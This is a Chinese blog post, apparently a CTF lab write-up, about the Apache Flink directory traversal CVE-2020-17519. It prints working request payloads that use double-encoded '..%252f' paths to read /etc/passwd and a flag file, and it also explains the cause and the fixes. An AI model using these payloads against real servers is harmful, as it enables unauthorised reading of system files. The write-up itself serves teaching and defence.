CTF题目:Apache Flink目录遍历漏洞实战及CVE-2020-17519漏洞分析

发布于:2025-06-16 ⋅ 阅读:(16) ⋅ 点赞:(0)

CTF题目:Apache Flink目录遍历漏洞实战及CVE-2020-17519漏洞分析

漏洞背景

CVE-2020-17519是Apache Flink 1.11.0-1.11.2版本中的高危目录遍历漏洞。攻击者可通过构造恶意路径遍历读取服务器任意文件,本文将详细演示漏洞利用过程。


环境搭建

  • 靶机环境:Apache Flink Dashboard (1.11.0)
  • 测试工具:BurpSuite Community 2023
  • 漏洞入口Job Manager功能模块(日志文件接口)

截屏2025-06-14 11.01.34

漏洞复现步骤

1. 发现漏洞入口

访问Flink Dashboard的Job Manager功能,Burp捕获请求:

GET /jobmanager/logs/ HTTP/1.1
Host: d25db443-a7db-44ea-986a-f48afb33bc23-2700.cyberstrikelab.com:83

截屏2025-06-14 11.24.57

2. 构造路径遍历Payload

尝试直接读取/etc/passwd失败:

GET /jobmanager/logs/../../../../../../etc/passwd HTTP/1.1

截屏2025-06-14 11.14.04

绕过方案
使用双重URL编码绕过路径过滤:

  • ..%252f → 第一次解码:..%2f → 第二次解码:../
  • 12级跳转回到根目录:..%252f × 12

最终Payload

GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/1.1
3. 成功读取系统文件

响应返回/etc/passwd内容:

root:x:0:0:root:/root:/bin/bash
flink:x:1000:1000::/opt/flink:/bin/sh  # 关键信息!

发现用户flink及其主目录/opt/flink,推测flag可能位于此路径。

截屏2025-06-14 11.26.10

深度利用:定位flag文件

策略思路
  1. 优先级1:用户目录常见位置
    • /opt/flink/flag
    • /opt/flink/flag.txt
  2. 优先级2:临时目录
    • /tmp/flag
    • /tmp/flag.txt
  3. 优先级3:配置文件与日志
    • /opt/flink/conf/flink-conf.yaml(分析无敏感信息)
    • /opt/flink/log/*.log
成功获取flag

在尝试读取/tmp/flag.txt时成功:

GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fflag.txt HTTP/1.1

响应内容


截屏2025-06-13 21.53.33

备注:截图中的Host是第一次成功时候的截图,之前的截图是写博客复现重新开启的靶机。(因为靶机域名是随机生成)

漏洞原理分析

  1. 根本原因
    Flink未对jobmanager/logs接口的路径参数做规范化校验,导致..%252f被双重解码为../

  2. 绕过关键
    防御层通常过滤../但忽略双重编码场景,%252f的两次解码过程:

    服务器解码
    二次解码
    %252f
    %2f
    /

修复建议

  1. 升级到Flink ≥1.11.3 或 ≥1.12.0
  2. 在代码层添加路径规范化检查:
    Paths.get(userInput).normalize().toString()
    

总结

通过本次实战我们掌握:

  1. 目录遍历漏洞的双重编码绕过技巧
  2. 系统敏感文件定位思路(/etc/passwd → 用户目录 → 临时文件)
  3. CVE-2020-17519的完整利用链

漏洞修复补丁:FLINK-21436


该博客结构清晰覆盖漏洞复现全流程,既适合CTF初学者理解漏洞原理,也为安全研究人员提供深度利用思路。如需补充截图或调整技术细节,可随时告知。


网站公告

今日签到

点亮在社区的每一天
去签到